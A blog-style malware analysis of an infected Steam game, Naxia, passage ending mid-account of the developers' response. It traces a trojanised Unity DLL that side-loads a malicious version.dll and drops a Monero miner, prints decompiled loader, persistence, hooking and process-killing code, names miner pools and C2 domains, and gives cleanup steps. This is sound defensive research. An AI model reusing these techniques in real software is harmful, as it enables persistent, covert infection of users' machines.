Research: Naxia - Infected Game On Steam

34 minute read

Naxia has been a game that I’ve had on my Steam wishlist for months but never really kept a close eye on due to the current reviews it’s had. Along with it’s original game vision before being redone completely (see Defenders of Naxia), the game has not had too many positive things said about it across the web at this point. I don’t generally listen to reviews and prefer to judge a game for myself as like anything else, as everyone’s opinion varies. So I generally just wait for games that I’m not really looking forward to to go on sale first before purchasing.

Recently, Naxia went on sale and I decided to snag it since it had been popping up a bunch lately in Steams recommendations and I was constantly being reminded of it. Since I have pretty slow internet, I decided to take a look at their community forum and was greeted by several posts by various users accusing the game of being infected with a virus. Most of the users all shared one thing in common; Kaspersky anti-virus. I am not a fan of AV’s, as I have explained in the past, so I didn’t want to jump to any conclusions in assuming the game is really infected or not. AVs are notorious for false-positives, especially now where most of the time they over-react to any little thing.

Download Complete.. First Look

First things first, the game is potentially infected, so we are definitely not running this on my actual system. I booted up a fresh Windows 10 VM and copied the game over. Next was our first look into the game files like I do with pretty much everything I install on my system.

To start, I had a look at the main exe of the game. This was the main file everyone was currently reporting as being infected, so it was a good place to start.

Upon inspection, we can quickly gather a few pieces of information about the game:

  • The game is built with Unity.
  • The game is built via the normal C# pipeline. (Not using il2cpp.)
  • The game is not protected/obfuscated.
  • The game exe (Naxia.exe) is not protected with SteamStub.
  • The game exe (Naxia.exe) is not protected with any extra measures at all.

Thus we can tell that the main exe is nothing more than a loader for Unity. Dropping it into IDA and Ghidra shows us nothing out of the ordinary of a Unity game loader. No hooked calls, no hidden sections/TLS callbacks, nothing strange. So it was kind of odd to see the exe being marked as infected. (Turns out this infection flag was happening due to a certain icon in the game binary. AV’s were incorrectly marking this as infected. This is a known bug/issue with Unity games depending on how they are setup and exported.)

How About Mono?

Next I took a look at the games Mono runtime files and the main UnityPlayer.

  • mono-2.0-bdwgc.dll
  • MonoPosixHelper.dll
  • UnityPlayer.dll

Given that these files are required and will absolutely run for sure, it was a logical next-step to check these for any common signatures of being infected. A quick overview did not show anything out of the ordinary and the files signatures all matched valid/verified files online. Some things I generally check would be:

  • Is the file packed with any packer?
  • Is the file obfuscated with anything?
  • Does the file have any weird/uncommon sections?
  • Does the file have any weird/uncommon resources?
  • Does the file have any TLS callbacks? (If so, are they valid/clean?)
  • Does the file have any weird modifications to its headers? (ie. a weirdly changed entry point)
  • Does the file have any overlay data that is not just a digital signature?
  • Does the file have any weird imports/exports?
  • Does the file show any signs of tampering, weird strings/watermarks etc.?

Again, nothing found and nothing out of the ordinary here.

Malicious Developers?

Something I really doubted from the start was a developer team pushing an infected game to the Steam store on purpose. One would assume that Steam is fairly on-top of their server contents and any assets that make their way through Steams servers and application(s). (Think again, Steam didn’t give a shit at all, will explain later.) Instead, my first thought was that one of the developers machines was infected and that they were just building from a devs local machine and pushing things live to Steam. While not intentional, still avoidable.

So next up was to take a look at the two main loaded files for the game itself:

  • Assembly-CSharp.dll
  • Assembly-CSharp-firstpass.dll

First up was Assembly-CSharp-firstpass.dll. Here we do find that the game is using Steamworks, just that its using the C# interfaces directly. However, there’s no included steam_api.dll / steam_api64.dll included with the game, so I’m not sure if they are actually using this yet. Outside of this finding, nothing seemed out of place here. No weird injected types/objects, no embedded resources, etc. The file looked fine.

Next was Assembly-CSharp.dll. Surprisingly, another game that is fully unprotected. There is nothing obfuscated, protected, or otherwise hidden in this games main source module. Looking at the typical main objects of Unity in this file show nothing of interest or alteration. So at this point the main files the devs would directly have access to with source related things are all looking clean.

What gives?

Infected Data Files?

Before I jumped into the other DLLs, I wanted to check and see what all the game includes with it in terms of data files. I grabbed a few Unity tools and went to town digging into all the games assets and other goodies. Sadly, this was another dead end with nothing exciting. The game did not seem to include/use any potentially infected files. Everything looked fine and clean.

Self-Infection For Diagnosis..

One of the fun ways to research malicious things is to purposefully infect yourself. However, this should always be done with caution and only if you know what you are doing. This should also be avoided on any system you care about the contents of. Just because you are in a VM as well, DOES NOT mean you are safe. Things can break out of a VM, so keep in mind while you think you may be completely sandboxed, you aren’t.

I opt’d to go this route as no one reported any damage from their potential infection and wanted to have some fun.

So I prepared the VM for said infection and got to work:

  • Disabled and removed all networking.
  • Disabled and removed all internet access. (Removed any ability for the VM to regain internet access.)
  • Disabled and removed any/all access to anything back to the host machine.
  • Disabled all unwanted services/noise related things on the system.

With these things removed/disabled, next was to ensure the following:

  • Have monitoring tools ready: procexp and procmon
  • Create a snapshot of the VM pre-infection.

I setup procmon to filter everything but Naxia.exe activity to start and setup procexp to monitor newly created processes and launched the game. At first, nothing strange. The game does its basic startup, Unity does its initialization, and the game starts playing its current opening cutscene. Nothing out of the ordinary. But people were claiming it’s infected?

I hit escape to skip the cutscene and BAM! We see the infection start. It completely stayed silent until a certain point/scene was hit in the game. This is again where I thought now that a game data file was infected and again dug into the menu screen assets but couldn’t find anything.

Monitoring The Infection; Collecting Information

The next step was to close the game and review what I captured. procmon proved to be the all-star here.

Firstly, the virus will attempt to write and drop the following files:

  • C:\Users\<yourname>\AppData\Local\Temp\cmst.exe
  • C:\Users\<yourname>\AppData\Local\Temp\version.dll
  • C:\Users\<yourname>\AppData\Local\Temp\<random-generated-name-file> (3-4 of these, 2 specific files copied twice each.)

The random generated named files are copies of cmst.exe and version.dll.

Looking into these files we find a lot more important information to align to what procmon shows us.

cmst.exe - Wait it’s legit?

So our first look is at the exe dropped. However, there is nothing exciting here. This file is legit and just renamed. It’s Microsofts .NET crash reporter tool (dw20.exe) just renamed. But why are they shipping this with the virus? Simple, it’s small, clean and vulnerable to a method of side-injection. By default, Windows will follow a set load-order for DLLs. This means that DLLs found in the same folder matching a requested name will be loaded first over say, a system folder. This is exactly what this virus is doing and using this exe for.

The actual infected file is the version.dll file, which cmst.exe loads directly from the same folder due to the above info.

version.dll - Skid level nonsense..

Expecting something fun and exciting? New and revolutionary? Nope. It’s a copy/paste loader that some skid made. Probably yet another shitty HackForums kid thinking they are some ‘uber’ hacker lol.

To start, this DLL has no protection on it. It also does all its dirty work directly in DllMain with the use of the command line arguments of the environment that started it. So they are abusing cmst.exe and passing it bad params to do its dirty work.

This module has a few ‘modes’ that it will respond to.

/start

This param is used to tell cmst.exe to run a file via command line.

    if ( strstr(v6, "/start") )
    {
      StartupInfo.cb = 104;
      memset(&StartupInfo.lpReserved, 0, 0x60ui64);
      StartupInfo.dwY |= 0x101u;
      LOWORD(StartupInfo.dwXSize) = 0;
      v45 = 15i64;
      v44 = 0i64;
      LOBYTE(lpCommandLine) = 0;
      std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(
        &lpCommandLine,
        "cmd.exe /c start /b ",
        0x14ui64);
      sub_180002990(&lpCommandLine, &Filename);
      sub_180002990(&lpCommandLine, " /error");
      v7 = (CHAR *)&lpCommandLine;
      if ( v45 >= 0x10 )
        v7 = lpCommandLine;
      CreateProcessA(
        0i64,
        v7,
        0i64,
        0i64,
        0,
        0,
        0i64,
        0i64,
        &StartupInfo,
        (LPPROCESS_INFORMATION)&StartupInfo.hStdOutput);
      if ( v45 < 0x10 )
        goto LABEL_64;
      v8 = lpCommandLine;
      goto LABEL_63;
    }

/set

Next, we have /set which is used to actually infect the user. If this does not get used, then nothing will actually happen. More info on this later.

    if ( strstr(v9, "/set") )
    {
      v10 = sub_180001594;
LABEL_11:
      sub_180001D9C(v10);
LABEL_64:
      byte_18001FF10 = 1;
      return 1;
    }

/error

Next, we have /error. This is an interesting one that causes the DLL to map a file from memory.

    if ( strstr(v11, "/error") )
    {
      hModule = v3;
      v10 = sub_180001384;
      goto LABEL_11;
    }

Depending on how the file is loaded, it can then infect the machine further. It will attempt to create an elevated command prompt and try to start the remote desktop service if the command argument Search is present:

    std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(
        &Dst,
        "cmd.exe /c \"sc config SessionEnv start= auto&sc start SessionEnv\"",
        0x41ui64);

It will also try and load another module if the command argument msfte is present:

    if ( v15 != 1 )
    {
      LoadLibraryA("msfte.dll");
      goto LABEL_59;
    }

Next, it checks for a module named tlpless.dll inside of the current directory, it uses this as a marker if the next step in the infection should continue. If the file tlpless.dll exists, it will not do the following, if it does not exist, it will. It will then query the registry for your .NET Framework install path and drop files into those folders:

    if ( v24 )
    {
      RegOpenKeyExW(
        HKEY_LOCAL_MACHINE,
        L"SOFTWARE\\Microsoft\\NET Framework Setup\\NDP\\v4\\Full",
        0,
        0x20019u,
        &phkResult);
      cbData = 4;
      *(_DWORD *)Data = 0;
      RegQueryValueExW(phkResult, L"Install", 0i64, 0i64, Data, &cbData);
      if ( *(_DWORD *)Data )
      {
        v25 = 139;
LABEL_47:
        v26 = FindResourceA(v3, (LPCSTR)v25, "Dll");
        v27 = v26;
        v28 = LoadResource(v3, v26);
        v29 = (char *)LockResource(v28);
        v30 = SizeofResource(v3, v27);
        v31 = wfopen(L"tlpless.dll", L"wb");
        if ( (_DWORD)v30 )
        {
          do
          {
            fputc(*v29++, v31);
            --v30;
          }
          while ( v30 );
        }
        fclose(v31);
        goto LABEL_50;
      }
      RegOpenKeyExW(
        HKEY_LOCAL_MACHINE,
        L"SOFTWARE\\Microsoft\\NET Framework Setup\\NDP\\v2.0.50727",
        0,
        0x20019u,
        &phkResult);
      cbData = 4;
      *(_DWORD *)Data = 0;
      RegQueryValueExW(phkResult, L"Install", 0i64, 0i64, Data, &cbData);
      if ( *(_DWORD *)Data )
      {
        v25 = 138;
        goto LABEL_47;
      }
    }

For this, it drops:

  • C:/Windows/Microsoft.NET/Framework/ntsync.exe
  • C:/Windows/Microsoft.NET/Framework/version.dll

These two files are copies of what we’ve been looking at here, csmt.exe and version.dll. This is just to have a way to continue to re-infect the user as needed in a location easily accessible.

Last, it will check again for the tlpless.dll and create a new thread if the file does exist this time instead.

if ( v34 )
{
    dwThreadId = GetCurrentThreadId();
    CreateThread(0i64, 0i64, StartAddress, 0i64, 0, 0i64);
}

// Thread Callback..
signed __int64 __fastcall StartAddress(LPVOID lpThreadParameter)
{
  HANDLE v1; // rax
  HMODULE v2; // rax
  void (*v4)(void); // rax

  while ( !InternetCheckConnectionA("http://microsoft.com", 1u, 0)
       && !InternetCheckConnectionA("http://google.com", 1u, 0) )
    Sleep(0x7530u);
  Sleep(0x7D0u);
  v1 = OpenThread(0x1FFFFFu, 0, dwThreadId);
  SuspendThread(v1);
  v2 = LoadLibraryA("tlpless.dll");
  if ( !v2 )
    return 1i64;
  v4 = (void (*)(void))GetProcAddress(v2, "Add");
  if ( !v4 )
    return 1i64;
  v4();
  Sleep(0xD4A50FFF);
  Sleep(0xD4A50FFF);
  Sleep(0xD4A50FFF);
  return 0i64;
}

This thread is used to check for internet connection then execute a function inside of tlpless.dll called Add. (Since this file was not dropped with this infection, I can only assume it’s used to tell the infection to force the system to remote-query a server to add itself to a list of infected systems just based on the other actions it’s done.)

version.dll - Part 2 - Infected Resources (Bitcoin Miner..)

Along with what nonsense above, version.dll also holds 3 infected resource files.

  • “DLL” > 138
  • “DLL” > 139
  • “DLL” > 140

138.dll (CallDllSharp) is an obfuscated C# DLL. It has an embedded and encrypted object it decrypts and uses via reflection at runtime.

139.dll (CallDllSharp) is an obfuscated C# DLL. It has an embedded and encrypted object it decrypts and uses via reflection at runtime.

This is what these two files looks like:

https://i.imgur.com/TFvEEMH.png

140.dll is interestingly stored in reverse for some reason in the resource. Guessing this file would cause AV’s to flag it, so it’s reversed at runtime when needed then loaded to try to avoid detection. Once reversed, this is a native DLL with even more nonsense.

This module contains an internal web server running via libmicrohttpd-0.9.55 along with a basic app framework. This is all used for a bitcoin miner (it’s using xmrig) which tries to connect to:

xmr-eu1.nanopool.org:14444
pool.monero.hashvault.pro:80

I didn’t bother looking more into this cause it’s nothing interesting. And I have no interest in posting the wallet info to give that person any more ‘fame’ or SEO linking across the web. Simply put, it’s a shitty miner with a web server to take remote commands.

version.dll - Part 3 - /set Argument

As I mentioned above, we would discuss this one a bit further. When this is present, it will do a few things.

First, it builds paths to a few directories:

  • GetSystemWindowsDirectoryA / GetSystemWindowsDirectoryW
  • GetSystemDirectoryA / GetSystemDirectoryW
  • GetTempPathA / GetTempPathW

Next it will try and dump itself to each of these folders with the renamed file of msfte.dll.

This is also where the full-drop for the .NET framework folder happens where it will drop:

  • \\Microsoft.NET\\Framework\\ntsync.exe
  • \\Microsoft.NET\\Framework\\version.dll

It will jmp patch the API call kernel32!QueryPerformanceCounter to execute this dropper every single time it’s called while the process remains alive as well to ensure the infection keeps/sticks.

    v1 = a1;
    v2 = GetModuleHandleA("KERNEL32.dll");
    qword_18001FF20 = (__int64)GetProcAddress(v2, "QueryPerformanceCounter");

    // snipped code..
    v15 = (_QWORD *)((char *)v3 + *((unsigned int *)v4 + 4));
    if ( *v15 )
    {
      do
      {
        if ( *v15 == qword_18001FF20 )
        {
          flOldProtect = 0;
          VirtualProtect(v15, 4ui64, 4u, &flOldProtect);
          *v15 = v1;
          VirtualProtect(v15, 4ui64, flOldProtect, &flOldProtect);
        }
        ++v15;
      }
      while ( *v15 );
      v10 = v20;
      v9 = Memory;
    }

(In this instance, v1 is a1, which is the function pointer to the dropper routine I explained above.)

Infected .NET Loaders

Next, I dove into the .NET loaders that were also present. (138/139 in the resources.) These were just decrypting a byte array and loading them as runtime assemblies via reflection as seen in the screenshot above.

First up we have 138.dll. We can undo it’s crappy encoding/encryption on the data it uses manually and then dump the array into a dll to look at in dnSpy. Here we find some more skid level nonsense. This module has a single namespace/class DllSharp::Class1 that contains all its code. Again nothing is protected and all plain text.

Here’s quick rundown of each function present and what it does:

  • activate - Sleeps for 10 minutes then marks the class as ready.
  • EB - Runtime compiler, takes two arguments. First is the namespace, second is the code source. Attempts to compile given data at runtime and execute the resulting dll. Uses reflection to call a static setup of: MyNewClass::MyMethod.
private static string EB(string[] ns, string code)
{
	CSharpCodeProvider csharpCodeProvider = new CSharpCodeProvider();
	CompilerParameters compilerParameters = new CompilerParameters
	{
		GenerateExecutable = false,
		GenerateInMemory = true
	};
	compilerParameters.ReferencedAssemblies.Add("System.dll");
	compilerParameters.ReferencedAssemblies.Add("mscorlib.dll");
	for (int i = 0; i < ns.Length; i++)
	{
		compilerParameters.ReferencedAssemblies.Add(ns[i]);
	}
	CompilerResults compilerResults = csharpCodeProvider.CompileAssemblyFromSource(compilerParameters, new string[]
	{
		code
	});
	if (compilerResults.Errors.Count == 0)
	{
		object obj = compilerResults.CompiledAssembly.CreateInstance("MyNewClass");
		if (obj != null)
		{
			return Convert.ToString(obj.GetType().GetMethod("MyMethod").Invoke(obj, null));
		}
	}
	return "dothis";
}
  • getthis - Attempts to download new information from three remote websites (fallbacks) to keep the infection current.

https://i.imgur.com/1tdEFDT.png

  • Init2s - Creates a thread to execute the ThreadIsRun function.
  • inits - Kills the current created thread, sleeps for 10 minutes and calls sttgt.
  • LoadAll - Attempts to load two more infected modules that are dropped on the system.
    • libntsc<rand_number>.dll
    • GNU\\scntlib<rand_number>.dll
  • pm - Attempts to restart itself with the /start command line switch. (See info above.)
  • Reverse - Reverses the given string.
  • stop - Kills the given Process object.
  • sttgt - Attempts to force-run (with /start switch) the ntsync.exe dropped file, to make it load the infected version.dll again.
private static void sttgt()
{
	try
	{
		Class1.prn(Class1.WinPath + "\\Microsoft.NET\\Framework\\ntsync.exe");
	}
	catch
	{
	}
}
  • SystemEvents_SessionEnding - Callback used when the users current session is killed via SystemEvents.SessionEnding. Attempts to start this entire class again to re-infect.
  • ThreadIsRun - Used as a means to check for running instances of itself infecting.

ThreadIsRun also checks for processes with a name containing:

  • askmgr
  • rocessha
  • rocexp
  • ystemexplore
  • anvir

and will try to terminate them by force to prevent you from monitoring what’s happening. It also tries to kill similar infections that are running out of the system path, by looking for:

  • ntsync
  • svchost
  • csrss

and killing those as well if they are not in their proper location. This thread runs constantly and iterates this list of tasks over and over at a set interval to ensure its running and protected.

As for 139.dll, it’s the same thing, just in a separate loader that was slightly different.

But what’s actually infected!?

So we found all the fun interesting bits right? Not completely. We still haven’t discussed which part of the game is actually infected and what that is doing to begin the infection. At this point, we know that the game is not infecting the system until a certain point (after the starting cutscene). So this means that something in the following scene is being loaded and executed. For this we can use a debugger and attach to the game to follow what’s being loaded.

For this, you can use any debugger that can output when modules are loaded. I also recommend using procmon to monitor for all file usage/access. This helped find the exact infected file pretty quickly.

I cleaned up the previous mentioned files by hand and went to infect myself again.

I started up the game in a debugger (x64dbg) along with running procmon and skipped the opening cutscene. Strange, nothing happened.. The virus didn’t try to execute and drop things again. So I assumed there was some means of cutoff/detection that it previously ran. Thankfully, with procmon and lots of additional manual filters, I narrowed down things somewhat quickly. (Clearing procmons output before the cutscene ends then stopping it from collecting after the point we know it should have infected helps keep the results minimal.)

Skimming the output, I came across a few registry read attempts that looked out of place. The game was trying to access:

  • HKEY_CURRENT_USER\SOFTWARE\GNU\
  • HKEY_CURRENT_USER\SOFTWARE\GNU\fver
  • HKEY_CURRENT_USER\SOFTWARE\GNU\cver

Why would a game be trying to access GNU keys? So I opened regedit and checked them out. These keys had some basic entries (mostly numbers to keep track of infection data) and nothing else useful. Since I had nothing on this VM that uses GNU stuff, I nuked the keys and repeated the process to run and debug the game again. Bingo! We’re infected again.

Digging into the debugger log and procmon, I could see the Unity related modules being loaded, more specifically a module not named specific to Unity, ICSharpCode.NRefactory.dll. But I know this DLL, I’ve seen it a ton of times. Most .NET tools use it, some Unity games do ship with it..

ICSharpCode.NRefactory.dll - Our Culprit!

Before digging into the DLL, I tossed it open in CFF Explorer and immediately saw something weird. It’s listed as something else. Why would a Unity DLL be renamed to this?

https://i.imgur.com/TEy1oDd.png

I took a look at some real Unity.DataContract.dll‘s from other games to get an idea of what it should look like and then popped this guy open in dnSpy. Without even getting as far as opening any of the classes, you can immediately tell it’s infected. Two main things jump out:

  1. The file includes a .NET resource. This is not the case for real Unity.DataContract.dll files.
  2. There is a namespace A. A clear sign of obfuscation in a module that has no extra namespace besides Unity.DataContract.

So lets dig into the obfuscated A namespace. It contains an attribute and 6 obfuscated classes.

https://i.imgur.com/ezEvz8s.png

The attribute is empty and does nothing special itself.

The first class c0b89d1135135315cc38faf72ae5a2c5d is interesting. It is used to load the resource in the DLL:

static c0b89d1135135315cc38faf72ae5a2c5d()
{
    if (c0b89d1135135315cc38faf72ae5a2c5d.ca341f6485be0e85a69fd2b0a4b56cf39 == null)
    {
        string text = "VW5pdHkuRGF0YUNvbnRyYWN0JA==";
        byte[] array = Convert.FromBase64String(text);
        text = Encoding.UTF8.GetString(array, 0, array.Length);
        Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(text);
        c0b89d1135135315cc38faf72ae5a2c5d.ca341f6485be0e85a69fd2b0a4b56cf39 = c87b7b5b75d14c0091514b9fe24471068.c4d973e50c3a94392daad2fec4c8ff9d9(97L, manifestResourceStream);
    }
}

The base64 string here just converts to the resource name Unity.DataContract$.

So we know this has a call chain attached to get this resource which we can follow easily with dnSpy to find the function actually loading the resource, which is encrypted. But let’s finish checking out each class first. This first one also includes a function used to decode strings. (More on this later as it relates to the resource file.)

The next class c2aef1f91a82bdba695b6644bad4498e4 is fairly large. Has a lot of methods that do all kinds of various things. I don’t want to bother jumping into individual function details here because there is a lot of things, so we’ll just go over a few things in a list real quick. This class contains things such as:

  • Runtime reflection handlers.
  • Registry reader/writer functions.
  • Thread starter functions.
  • WebRequest querying and submitting.
  • GetTickCount and timespan related functions.
  • OS version checks.
  • IsWow64Process checking.
  • Hashing via MD5.
  • File dropping.
  • Zip handling.
  • and some other minor junk.

These also all relate to the resource file I will discuss soon.

Next is c5dbdda4e405c652fa2df65ebeea64229 which contains a compressed GZip file. This is the dw20.exe that was dropped earlier also under the names cmst.exe and ntsync.exe.

Next is c87b7b5b75d14c0091514b9fe24471068 which contains a few functions. The main function in this one is a DES decryptor. This is where the resource file is decrypted that I mentioned earlier. Again, we’ll get back to that soon.

Next is c9659ff1ff04f1e75df072700024d7931 which contains another GZip file. Care to guess what this one is? If you guessed our lovely infected version.dll you’re correct!

Last is cd45e7456b7354fd324e0263add9bff38 which is just a copy of the first GZip instance using the same information to dump the dw20.exe file.

Encrypted Resource File

So back to that encrypted resource file.. what’s so interesting/special about it? Sadly, not much. The decryptor is fairly straight forward and can just imported to a project and ran to get the raw file back:

		internal static byte[] ced05941962a456a433fd86bac2cf78c8(long c13f99b17b7c2ad3edf46d8907bafefa7, Stream cb7afa863bb27b078b94c77e6467b748b)
		{
			Stream stream = cb7afa863bb27b078b94c77e6467b748b;
			MemoryStream memoryStream = null;
			for (int i = 1; i < 4; i++)
			{
				cb7afa863bb27b078b94c77e6467b748b.ReadByte();
			}
			ushort num = (ushort)cb7afa863bb27b078b94c77e6467b748b.ReadByte();
			num = ~num;
			if ((num & 2) != 0)
			{
				DESCryptoServiceProvider descryptoServiceProvider = new DESCryptoServiceProvider();
				byte[] array = new byte[8];
				cb7afa863bb27b078b94c77e6467b748b.Read(array, 0, 8);
				descryptoServiceProvider.IV = array;
				byte[] array2 = new byte[8];
				cb7afa863bb27b078b94c77e6467b748b.Read(array2, 0, 8);
				bool flag = true;
				foreach (byte b in array2)
				{
					if (b != 0)
					{
						flag = false;
						break;
					}
				}
				if (flag)
				{
					array2 = c87b7b5b75d14c0091514b9fe24471068.cedfb0601f0470197fc7d5d4935c025e4(Assembly.GetExecutingAssembly());
				}
				descryptoServiceProvider.Key = array2;
				if (c87b7b5b75d14c0091514b9fe24471068.c23f88059027c84c0b3da25dca4b08032 == null)
				{
					if (c87b7b5b75d14c0091514b9fe24471068.c3f6cf188507936a5ec71a9d6161bc01a == 2147483647)
					{
						c87b7b5b75d14c0091514b9fe24471068.c23f88059027c84c0b3da25dca4b08032.Capacity = (int)cb7afa863bb27b078b94c77e6467b748b.Length;
					}
					else
					{
						c87b7b5b75d14c0091514b9fe24471068.c23f88059027c84c0b3da25dca4b08032.Capacity = c87b7b5b75d14c0091514b9fe24471068.c3f6cf188507936a5ec71a9d6161bc01a;
					}
				}
				c87b7b5b75d14c0091514b9fe24471068.c23f88059027c84c0b3da25dca4b08032.Position = 0L;
				ICryptoTransform cryptoTransform = descryptoServiceProvider.CreateDecryptor();
				int inputBlockSize = cryptoTransform.InputBlockSize;
				int outputBlockSize = cryptoTransform.OutputBlockSize;
				byte[] array4 = new byte[cryptoTransform.OutputBlockSize];
				byte[] array5 = new byte[cryptoTransform.InputBlockSize];
				int num2 = (int)cb7afa863bb27b078b94c77e6467b748b.Position;
				while ((long)(num2 + inputBlockSize) < cb7afa863bb27b078b94c77e6467b748b.Length)
				{
					cb7afa863bb27b078b94c77e6467b748b.Read(array5, 0, inputBlockSize);
					int count = cryptoTransform.TransformBlock(array5, 0, inputBlockSize, array4, 0);
					c87b7b5b75d14c0091514b9fe24471068.c23f88059027c84c0b3da25dca4b08032.Write(array4, 0, count);
					num2 += inputBlockSize;
				}
				cb7afa863bb27b078b94c77e6467b748b.Read(array5, 0, (int)(cb7afa863bb27b078b94c77e6467b748b.Length - (long)num2));
				byte[] array6 = cryptoTransform.TransformFinalBlock(array5, 0, (int)(cb7afa863bb27b078b94c77e6467b748b.Length - (long)num2));
				c87b7b5b75d14c0091514b9fe24471068.c23f88059027c84c0b3da25dca4b08032.Write(array6, 0, array6.Length);
				stream = c87b7b5b75d14c0091514b9fe24471068.c23f88059027c84c0b3da25dca4b08032;
				stream.Position = 0L;
				memoryStream = c87b7b5b75d14c0091514b9fe24471068.c23f88059027c84c0b3da25dca4b08032;
			}
			if ((num & 8) != 0)
			{
				if (c87b7b5b75d14c0091514b9fe24471068.ced61c462fd232c61ae470fb53aef3810 == null)
				{
					if (c87b7b5b75d14c0091514b9fe24471068.c01621a652ae853c86a3f85e897bc33c1 == -2147483648)
					{
						c87b7b5b75d14c0091514b9fe24471068.ced61c462fd232c61ae470fb53aef3810.Capacity = (int)stream.Length * 2;
					}
					else
					{
						c87b7b5b75d14c0091514b9fe24471068.ced61c462fd232c61ae470fb53aef3810.Capacity = c87b7b5b75d14c0091514b9fe24471068.c01621a652ae853c86a3f85e897bc33c1;
					}
				}
				c87b7b5b75d14c0091514b9fe24471068.ced61c462fd232c61ae470fb53aef3810.Position = 0L;
				DeflateStream deflateStream = new DeflateStream(stream, CompressionMode.Decompress);
				int num3 = 1000;
				byte[] buffer = new byte[num3];
				int num4;
				do
				{
					num4 = deflateStream.Read(buffer, 0, num3);
					if (num4 > 0)
					{
						c87b7b5b75d14c0091514b9fe24471068.ced61c462fd232c61ae470fb53aef3810.Write(buffer, 0, num4);
					}
				}
				while (num4 >= num3);
				memoryStream = c87b7b5b75d14c0091514b9fe24471068.ced61c462fd232c61ae470fb53aef3810;
			}
			if (memoryStream != null)
			{
				return memoryStream.ToArray();
			}
			byte[] array7 = new byte[cb7afa863bb27b078b94c77e6467b748b.Length - cb7afa863bb27b078b94c77e6467b748b.Position];
			cb7afa863bb27b078b94c77e6467b748b.Read(array7, 0, array7.Length);
			return array7;
		}

Once ran on the resource file, we are greeted with… a string list, boring. I created a quick little template in 010 Editor to read the entries easily:

https://i.imgur.com/OVGdsbH.png

Here’s the template if anyone wanted to see it:

typedef struct
{
    byte Size;
    wchar_t String[Size/2];
} ustr <read=ustrRead>;

string ustrRead(ustr &o)
{
  return o.String;
}

struct file
{
  byte none;
  ustr strings[100] <optimize=false>;
} ;

file f;

This string list is what the virus uses to run all its dirty work and interact with itself while not having things hard-coded directly. As I mentioned above, there is a decoder function that takes an id/index for a string and returns the actual value from this resource block:

internal static string c236407f6d67cc1090190ecdee64951fb(int c44619e4759270c94e1f4917b347aa0c4)
{
    int num;
    if ((c0b89d1135135315cc38faf72ae5a2c5d.ca341f6485be0e85a69fd2b0a4b56cf39[c44619e4759270c94e1f4917b347aa0c4] & 128) == 0)
    {
        num = (int)c0b89d1135135315cc38faf72ae5a2c5d.ca341f6485be0e85a69fd2b0a4b56cf39[c44619e4759270c94e1f4917b347aa0c4];
        c44619e4759270c94e1f4917b347aa0c4++;
    }
    else if ((c0b89d1135135315cc38faf72ae5a2c5d.ca341f6485be0e85a69fd2b0a4b56cf39[c44619e4759270c94e1f4917b347aa0c4] & 64) == 0)
    {
        num = ((int)c0b89d1135135315cc38faf72ae5a2c5d.ca341f6485be0e85a69fd2b0a4b56cf39[c44619e4759270c94e1f4917b347aa0c4] & -129) << 8;
        num |= (int)c0b89d1135135315cc38faf72ae5a2c5d.ca341f6485be0e85a69fd2b0a4b56cf39[c44619e4759270c94e1f4917b347aa0c4 + 1];
        c44619e4759270c94e1f4917b347aa0c4 += 2;
    }
    else
    {
        num = ((int)c0b89d1135135315cc38faf72ae5a2c5d.ca341f6485be0e85a69fd2b0a4b56cf39[c44619e4759270c94e1f4917b347aa0c4] & -193) << 24;
        num |= (int)c0b89d1135135315cc38faf72ae5a2c5d.ca341f6485be0e85a69fd2b0a4b56cf39[c44619e4759270c94e1f4917b347aa0c4 + 1] << 16;
        num |= (int)c0b89d1135135315cc38faf72ae5a2c5d.ca341f6485be0e85a69fd2b0a4b56cf39[c44619e4759270c94e1f4917b347aa0c4 + 2] << 8;
        num |= (int)c0b89d1135135315cc38faf72ae5a2c5d.ca341f6485be0e85a69fd2b0a4b56cf39[c44619e4759270c94e1f4917b347aa0c4 + 3];
        c44619e4759270c94e1f4917b347aa0c4 += 4;
    }
    if (num < 1)
    {
        return string.Empty;
    }
    string @string = Encoding.Unicode.GetString(c0b89d1135135315cc38faf72ae5a2c5d.ca341f6485be0e85a69fd2b0a4b56cf39, c44619e4759270c94e1f4917b347aa0c4, num);
    return string.Intern(@string);
}

So now we can see the main entries this infection is making use of and how it’s performing its drops and overall infection.

There is also a crappy free web host script that this tries to report back to seen in the string list. We also see the various registry things I mentioned before, the file names, paths, scripts/tasks, and such.

Cleaning Up; Disinfecting

So now that we have the full thing figured out, let’s help those who have been infected by what to cleanup. There’s a few things here we need to look for and get rid of to ensure we are not going to be reinfected. First, leave the registry alone. Having the GNU keys will safe us any headache at the moment.

First, we want to delete the following files:

  • C:\Users\<your name>\AppData\Local\Temp\ - Clear the whole folder; it’s safe to remove all of it.
  • C:\Windows\Microsoft.NET\Framework\ntsync.exe - Delete this.
  • C:\Windows\Microsoft.NET\Framework\version.dll - Delete this.
  • C:\Windows\System32\msfte.dll - Delete this.

Look for additional instances of:

  • cmst.exe
  • ntsync.exe

And delete them if not in an applicable location.

Look for the following:

  • tlpless.dll
  • TPGenLic.dll

And delete them.

Ensure Remote Desktop is completely disabled on your machine, if you don’t normally use it. If you do, be sure to validate its secured, and not changed to a different auth method. Also be sure to run it on a different port when able. For info on how to disable, see here: https://steamcommunity.com/linkfilter/?url=https://www.howto-connect.com/enable-disable-remote-desktop-configuration-service-windows-10/

Block the following in your hosts file:

  • jipperskrippersservice.ru
  • margancherforfun.com
  • cellavillibycurtiz.ru
  • xmr-eu1.nanopool.org - Only if you don’t actually use it.
  • pool.monero.hashvault.pro - Only if you don’t actually use it.
  • 000webhostapp.com - Honestly, at this point I recommend nuking their entire domain(s). They are never used for anything real anymore.

Check your scheduled tasks for a fake entry under the following:

  • Microsoft > Windows > DiskCleanup

It will try to create a fake ‘DiskCleanup’ entry here.

It will also try to disable your UAC prompt, so be sure to ensure your UAC setting is where you want it. That is affected via:

  • SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
    • ConsentPromptBehaviorAdmin

Now check if any of the mentioned .exe files are running currently or other non-expected processes, and kill them by force.

At this point you should be ok to reboot. Once rebooted, check the above data again to see if anything has returned, if files were redropped, etc. If not, you should be ok to delete the GNU registry keys as well if you want.

And thus; you should be clean.

Naxia Developers Response..

So one of the main things that happened with all this is that I did post a warning to users on Steams forums and wrote a mini-review warning people the game was infected. At first, Naxia’s developers did not take this that serious and figured it was the same issue as before with the exe being falsely flagged.

